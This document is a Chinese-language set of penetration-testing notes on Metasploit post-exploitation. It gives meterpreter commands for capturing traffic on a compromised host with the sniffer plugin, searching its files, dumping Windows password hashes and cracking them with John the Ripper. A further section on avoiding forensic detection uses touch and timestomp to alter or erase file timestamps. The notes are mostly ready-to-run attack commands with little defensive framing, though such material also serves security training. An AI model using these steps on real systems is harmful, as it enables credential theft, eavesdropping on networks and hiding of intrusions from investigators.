扩大战果——抓包
sniffer插件:
在内存中缓存区块循环存储抓包(50000个包),不写硬盘,因此需要每隔一段时间dump一下。
智能过滤meterpreter流量,传输过程使用ssl/tls加密。
meterpreter > load sniffer
meterpreter > sniffer_interfaces 列出网卡
meterpreter > sniffer_start 2 在网卡2上启动抓包
meterpreter > sniffer_dump 2 1.cap 保存数据包,并命名为1.cap
msf > use auxiliary/sniffer/psnuffle 使用psnuffle模块,提取1.cap数据包中的信息
搜索文件
meterpreter > search -f *.pdf
meterpreter > search -d c:\\program\ files\\ -f *.txt 在program files目录下搜索txt文件(注意“空格和\”转移)
破解弱口令 John the Ripper
msf > use post/windows/gather/hashdump 首先使用该模块,dump目标主机的账号密码,结果会保存在tmp目录下
msf post(hashdump) > use auxiliary/analyze/jtr_crack_fast
msf auxiliary(jtr_crack_fast) > run 然后使用该模块,可以破解常见的弱口令
电子取证
避免被电子取证发现的方法:不要碰文件系统。meterpreter的先天优势所在——完全基于内存。
atime 访问时间(例如cat 1.txt)
mtime 更改时间(例如vim 1.txt)
ctime 改动时间(例如chmod u+x 1.txt)
root@kali:~# ls -l --time=atime 1.txt
root@kali:~# ls -l --time=mtime 1.txt
root@kali:~# stat 1.txt
root@kali:~# touch -d "2 days ago" 1.txt 更改1.txt的atime和mtime
root@kali:~# touch -t 1701010101 1.txt 更改1.txt的atime和mtime
meterpreter下的timestomp
Windows下将ctime翻译成创建时间(create),Linux下将ctime翻译成改动时间(change)
Windows的NTFS文件系统下多了个Entry Modified。
meterpreter > timestomp -v 1.txt 查看1.txt的时间
meterpreter > timestomp -f c:\\autoexec.bat 1.txt 将1.txt的时间改成与autoexec.bat相同
-a,-m,-c,-e
meterpreter > timestomp -z "11/11/2016 11:11:11" 1.txt 或者使用-z将mace时间全部修改
另外还有-b和-r参数,可以将mace时间擦除,目前版本使用有bug。
meterpreter > timestomp -b 1.txt
meterpreter > timestomp -r C:\\Users\\coler\\Desktop\\